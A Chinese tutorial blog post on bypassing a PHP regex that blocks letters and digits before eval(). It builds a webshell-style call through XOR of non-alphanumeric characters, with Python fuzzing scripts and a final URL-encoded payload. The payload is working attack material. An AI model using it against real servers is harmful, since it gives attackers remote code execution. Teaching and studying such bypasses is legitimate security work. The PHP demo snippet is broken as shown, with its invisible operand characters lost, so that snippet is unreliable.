php常用绕正则姿势

本文介绍了如何使用异或绕过正则表达式的限制,以构造类似于`eval($_POST['shell'])`的PHP语句。通过示例和脚本演示了如何寻找可以异或成特定字母的字符,利用不可见字符进行URL编码,从而达成正则匹配的规避。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

异或绕过

接上篇正则表达式,如果出现这样的正则:

if (!preg_match('/[a-z 0-9]/is',$_GET['a'])) {
	eval($_GET['a']);	
}
else{
	echo "hacker"}

即get传参的a变量中不能有数字和字母,但如果想拿到shell就要传入类似eval($_POST[‘shell’])的语句,但这时字母被禁,只能通过其他方式来构造类似的语句,这里就可以用异或规则来绕过。

先介绍下什么是异或,举个例子:

字符:?         ASCII码:63           二进制:  00‭11 1111‬
字符:~         ASCII码:126          二进制:  0111 1110‬
异或规则:
1   XOR   0   =   1
0   XOR   1   =   1
0   XOR   0   =   0
1   XOR   1   =   0
上述两个字符异或得到 二进制:  0100 0001
该二进制的十进制也就是:65
对应的ASCII码是:A

但如何构造eval($_POST[‘shell’])呢?
这里写了个脚本fuzz一下:

#-*-coding:utf-8-*-
def xor():
    for i in range(0,127):
        for j in range(0,127):
            result=i^j
            print("字符:"+chr(i)+" ASCII码值为:"+str(i)+"异或"+"字符:"+chr(j)+" ASCII码值为:"+str(j)+" == ""字符:"+chr(result)+" ASCII码值为:"+str(result))
if __name__=="__main__":
    xor()

运行结果如下:
在这里插入图片描述
构造payload:
贴段代码,用来查找哪两个字符可以异或成对应的字母

#-*-coding:utf-8-*-
def xor():
    for i in range(0,127):
        for j in range(0,127):
            result=i^j
            if chr(result)=="v":
                print("字符:"+chr(i)+" ASCII码值为:"+str(i)+"异或"+"字符:"+chr(j)+" ASCII码值为:"+str(j)+" == ""字符:"+chr(result)+" ASCII码值为:"+str(result))
if __name__=="__main__":
    xor()

找如下图类似的两个字符在这里插入图片描述

<?php
$a=(''^'`').(''^'`').(''^'`').(''^'`');
echo $a;
$b='_'.(''^'[').('/'^'`').(''^'[').('	'^']');
echo $b;
//$c=$$b;
//echo $c;
//echo $a($c[_]);
?>

不可见字符,可以用url编码代替
构造的payload如下:

$a=('%05'^'`').('%16'^'`').('%01'^'`').('%0C'^'`');$b='_'.('%0D'^'[').('%2F'^'`').('%0E'^'[').('%09'^']');$c=$$b;$a($c[_]);

后面有时间再写QAQ

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值